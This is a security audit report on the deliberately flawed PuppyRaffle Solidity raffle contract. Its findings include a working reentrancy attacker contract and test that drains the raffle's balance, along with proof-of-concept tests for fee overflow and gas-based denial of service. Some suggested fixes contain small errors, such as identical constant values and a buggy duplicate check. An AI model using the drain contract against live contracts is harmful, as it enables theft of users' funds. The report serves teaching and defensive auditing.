



# **PuppyRaffle Audit Report**

Version 1.0

*Christian Broch*

April 10, 2024

# Protocol Audit Report

Christian Broch

April 10, 2024

Prepared by: Cyfrin Lead Auditors: - Christian Broch

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - Highs
    - \* [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance
    - \* [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy
    - \* [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
  - Medium

- \* [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants
- \* [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
- \* [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- \* [M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to self-destruct a contract to send ETH to the raffle, blocking withdrawals
- Low
  - \* [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Gas
  - \* [G-1] Unchanged state variables should be declared constant or immutable.
  - \* [G-2] Storage variables in a loop should be cached
- Informational
  - \* [I-1]: Solidity pragma should be specific, not wide
  - \* [I-2]: Using an outdated version of solidity is not recommended.
  - \* [I-3]: Missing checks for `address(0)` when assigning values to address state variables
  - \* [I-4] `PuppyRaffle::selectWinner` does not follow CEI (Checks, Effects, Interactions), which is not a best practise
  - \* [I-5] Use of “magic” numbers is discouraged
  - \* [I-6] `_isActivePlayer` is never used and should be removed

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
  1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a `feeAddress` to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

Christian Broch makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

## Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

## Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

I learned a lot auditing this example codebase. Patrick is such a wizard at writing intentionally bad code! ## Issues found

Severity	Number of issues found
High	3
Medium	4
Low	1
Gas	2
Info	6
Total	16

## Findings

### Highs

#### [H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

**Description:** The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
         player can refund");
4         require(playerAddress != address(0), "PuppyRaffle: Player
         already refunded, or is not active");
5
6         @> payable(msg.sender).sendValue(entranceFee);
7         @> players[playerIndex] = address(0);
8         emit RaffleRefunded(playerAddress);
9     }
```

A Player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle

till the contract balance is drained.

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participants.

**Proof of Concept:** 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

### Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1  function test_reentrancyrefund() public {
2      address[] memory players = new address[] (4);
3      players[0] = playerOne;
4      players[1] = playerTwo;
5      players[2] = playerThree;
6      players[3] = playerFour;
7      puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9      ReentrancyAttacker attackerContract = new ReentrancyAttacker(
10         puppyRaffle);
11      address attackUser = makeAddr("attackUser");
12      vm.deal(attackUser, 1 ether);
13
14      uint256 startingAttackContractBalance = address(
15         attackerContract).balance;
16      uint256 startingContractBalance = address(puppyRaffle).balance;
17
18      vm.prank(attackUser);
19      attackerContract.attack{value: entranceFee}();
20
21      console.log("starting attacker contract balance: ",
22         startingAttackContractBalance);
23      console.log("starting contract balance: ",
24         startingContractBalance);
25
26      console.log("ending attacker contract balance: ", address(
27         attackerContract).balance);
28      console.log("ending contract balance: ", address(puppyRaffle).
29         balance);
30  }
```

And this example attacker contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
```

```
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17             ;
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if (address(puppyRaffle).balance >= entranceFee) {
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         _stealMoney();
29     }
30
31     receive() external payable {
32         _stealMoney();
33     }
```

**Recommended Mitigation:** To prevent reentrancy attacks, update the `PuppyRaffle::refund` function by updating the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
4             player can refund");
5         require(playerAddress != address(0), "PuppyRaffle: Player
6             already refunded, or is not active");
7
8         +     players[playerIndex] = address(0);
9         +     emit RaffleRefunded(playerAddress);
10        payable(msg.sender).sendValue(entranceFee);
11        -     players[playerIndex] = address(0);
12        -     emit RaffleRefunded(playerAddress);
13    }
```

## [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

*Note:* This additionally means users could front-run this function and call `refund` if they see they are not the winner. **Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

**Proof of Concept:** 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

**Recommended Mitigation:** Consider using a cryptographically provable random number generator such as Chainlink VRF.

## [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

**Description:** In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64.max)
2 myVar = myVar + 1; // 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:** 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
1 totalFees = totalFees + uint64(fee);
2 totalFees = 8000000000000000000 + 1780000000000000000
3 totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:



```
1     require(address(this).balance == uint256(totalFees), "PuppyRaffle:  
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to fulfill.

#### Code

```
1  Add this test to `PuppyRaffleTest.t.sol`:  
2  function testSelectWinner_totalFeesOverflow() public playersEntered  
3      {  
4          vm.warp(block.timestamp + duration + 1);  
5          vm.roll(block.number + 1);  
6          puppyRaffle.selectWinner();  
7          uint256 initialTotalFees = puppyRaffle.totalFees();  
8          console.log("total Fees after the four initial entries: ",  
              initialTotalFees); // 8000000000000000000 for the first four  
              entries  
9  
10         uint256 numPlayersTillOverflow = 89; // calculated from the UINT64_MAX /  
              initialTotalFees -> can be inaccurate  
11         console.log("Max Number of Players to Overflow :",  
              numPlayersTillOverflow);  
12         address[] memory morePlayers = new address[](  
              numPlayersTillOverflow); //23-4  
13  
14         for (uint256 i =0; i< numPlayersTillOverflow; i++) {  
15             morePlayers[i] = address(i);  
16         }  
17         puppyRaffle.enterRaffle{value: entranceFee*(  
              numPlayersTillOverflow)}(morePlayers);  
18             vm.warp(block.timestamp + duration + 1);  
19         vm.roll(block.number + 1);  
20         puppyRaffle.selectWinner();  
21         uint256 totalFeesAfterMoreEntries = puppyRaffle.totalFees();  
22         console.log("totalFees after more entries :",  
              totalFeesAfterMoreEntries);  
23  
24         assert(initialTotalFees > totalFeesAfterMoreEntries); // the  
              totalFees after the entering of all the players is still  
              huge due to the denial of service attack vector  
25     }
```

This will give the output:

```
1  Logs:  
2  total Fees after the four initial entries:  8000000000000000000  
3  Max Number of Players to Overflow : 89
```

```
4    totalFees after more entries : 153255926290448384
```

**Recommended Mitigation:** There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

## Medium

### [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 //@audit DoS Attack
2     for (uint256 i = 0; i < players.length - 1; i++) {
3         for (uint256 j = i + 1; j < players.length; j++) {
4             require(players[i] != players[j], "PuppyRaffle:
3             Duplicate player");
5         }
6     }
```

**Impact:** The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

**Proof of Concept:** If we have two sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the second 100 players.

PoC Place the following test into `PuppyRaffleTest.t.sol`

```
1  function test_DoS() public {
2      vm.txGasPrice(1);
3
4      uint256 playersNum = 100;
5      address[] memory players = new address[](playersNum);
6      for (uint256 i = 0; i < playersNum; i++) {
7          players[i] = address(i);
8      }
9
10     uint256 gasStart = gasleft();
11     puppyRaffle.enterRaffle{value: entranceFee*playersNum}(players)
12     ;
13     uint256 gasEnd = gasleft();
14     uint256 gasUsedFirst = (gasStart - gasEnd)*tx.gasprice;
15     console.log("Gas used for the first 100 runs: ", gasUsedFirst);
16
17     address[] memory playersTwo = new address[](playersNum);
18     for (uint256 i = 0; i < playersNum; i++) {
19         playersTwo[i] = address(i+playersNum);
20     }
21
22     uint256 gasStartSecond = gasleft();
23     puppyRaffle.enterRaffle{value: entranceFee*playersNum}(
24         playersTwo);
25     uint256 gasEndSecond = gasleft();
26     uint256 gasUsedSecond = (gasStartSecond - gasEndSecond)*tx.
27         gasprice;
28     console.log("Gas used for the first 100 runs: ", gasUsedSecond)
29     ;
30     assert(gasUsedFirst < gasUsedSecond);
31 }
```

This leads to an output: Ran 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [PASS] test\_DoS() (gas: 24357427) Logs: Gas used for the first 100 runs: 6252047 Gas used for the first 100 runs: 18068137

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 50.55ms (49.87ms CPU time)

**Recommended Mitigation:** There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```

1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3   .
4   .
5   .
6   function enterRaffle(address[] memory newPlayers) public payable {
7       require(msg.value == entranceFee * newPlayers.length, "
8           PuppyRaffle: Must send enough to enter raffle");
9       for (uint256 i = 0; i < newPlayers.length; i++) {
10          players.push(newPlayers[i]);
11          addressToRaffleId[newPlayers[i]] = raffleId;
12      }
13      // Check for duplicates
14      // Check for duplicates only from the new players
15      for (uint256 i = 0; i < newPlayers.length; i++) {
16          require(addressToRaffleId[newPlayers[i]] != raffleId, "
17              PuppyRaffle: Duplicate player");
18      }
19      for (uint256 i = 0; i < players.length; i++) {
20          for (uint256 j = i + 1; j < players.length; j++) {
21              require(players[i] != players[j], "PuppyRaffle:
22                  Duplicate player");
23          }
24      }
25      emit RaffleEnter(newPlayers);
26  }
27  .
28  .
29  .
30  function selectWinner() external {
31      raffleId = raffleId + 1;
32      require(block.timestamp >= raffleStartTime + raffleDuration, "
33          PuppyRaffle: Raffle not over");

```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

## [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

**Description:** In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```

1   function selectWinner() external {
2       require(block.timestamp >= raffleStartTime + raffleDuration, "
3           PuppyRaffle: Raffle not over");
4       require(players.length > 0, "PuppyRaffle: No players in raffle");

```

```
4
5     uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
        sender, block.timestamp, block.difficulty))) % players.
        length;
6     address winner = players[winnerIndex];
7     uint256 fee = totalFees / 10;
8     uint256 winnings = address(this).balance - fee;
9 @>    totalFees = totalFees + uint64(fee);
10    players = new address[] (0);
11    emit RaffleWinner(winner, winnings);
12 }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

**Impact:** This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

#### Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

**Recommended Mitigation:** Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. There is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1 -   uint64 public totalFees = 0;
2 +   uint256 public totalFees = 0;
3 .
4 .
5 .
6     function selectWinner() external {
7         require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
8         require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
9         uint256 winnerIndex =
```

```
10         uint256(keccak256(abi.encodePacked(msg.sender, block.  
11             timestamp, block.difficulty))) % players.length;  
12         address winner = players[winnerIndex];  
13         uint256 totalAmountCollected = players.length * entranceFee;  
14         uint256 prizePool = (totalAmountCollected * 80) / 100;  
15         uint256 fee = (totalAmountCollected * 20) / 100;  
16         - totalFees = totalFees + uint64(fee);  
17         + totalFees = totalFees + fee;
```

### [M-3] Smart contract wallets raffle winners without a receive or a fallback function will block the start of a new contest

**Description:** The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

**Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function.  
2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winner can pull their funds out themselves with a new `claimPrize` function, putting the onus on the winner to claim their prize. (Recommended)

Pull over Push

### [M-4] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

**Description:** The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdestruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1     function withdrawFees() external {
2 @>     require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

**Impact:** This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

**Proof of Concept:**

1. `PuppyRaffle` has 800 wei in its balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

**Recommended Mitigation:** Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1     function withdrawFees() external {
2 -     require(address(this).balance == uint256(totalFees), "
        PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7     }
```

**Low**

**[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle**

**Description:** If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     /// @notice a way to get the index in the array
2     /// @param player the address of a player in the raffle
3     /// @return the index of the player in the array, if they are not
        active, it returns 0
4     function getActivePlayerIndex(address player) external view returns
        (uint256) {
```

```
5         for (uint256 i = 0; i < players.length; i++) {
6             if (players[i] == player) {
7                 return i;
8             }
9         }
10        return 0;
11    }
```

**Impact:** A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concept:** 1. user enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

## Gas

### [G-1] Unchanged state variables should be declared constant or immutable.

**Description:** Reading from storage is much more expensive than reading from a `constant` or `immutable` variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant` **Impact:**

### [G-2] Storage variables in a loop should be cached

**Description** Everytime the `players.length` is called, the storage is read, as opposed to memory which is more gas efficient

**Recommended Mitigation:** store the length of the array in a new memory variable `playerLength` within the function to reduce reading from storage.

```
1        // Check for duplicates
2    +        uint256 playerLength = players.length;
3    -        for (uint256 i = 0; i < players.length - 1; i++) {
4    +        for (uint256 i = 0; i < playerLength - 1; i++) {
```



```
5 -         for (uint256 j = i + 1; j < players.length; j++) {
6 +         for (uint256 j = i + 1; j < playerLength; j++) {
7             require(players[i] != players[j], "PuppyRaffle:
              Duplicate player");
8         }
9     }
```

## Informational

### [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6; //@audit-info use of floating pragma is
  bad!
```

### [I-2]: Using an outdated version of solidity is not recommended.

**Description** solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation** Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see the slither documentation for more information.

### [I-3]: Missing checks for address (0) when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 67

```
1 feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 193

```
1 feeAddress = newFeeAddress;
```

**[I-4] PuppyRaffle::\_selectWinner does not follow CEI (Checks, Effects, Interactions), which is not a best practise**

It is best to keep code clean and follow CEI

```
1 +     _safeMint(winner, tokenId);
2     (bool success,) = winner.call{value: prizePool}("");
3     require(success, "PuppyRaffle: Failed to send prize pool to
4 -         winner");
5     _safeMint(winner, tokenId);
```

**[I-5] Use of “magic” numbers is discouraged**

It can be confusing to see number literals in codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1     uint256 prizePool = (totalAmountCollected * 80) / 100;
2     uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1     uint256 public constant PRIZE_POOL_PERCENTAGE=80;
2     uint256 public constant FEE_PERCENTAGE=80;
3     uint256 public constant POOL_PRECISION=80;
```

**[I-6] \_isActivePlayer is never used and should be removed**

**Description:** The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```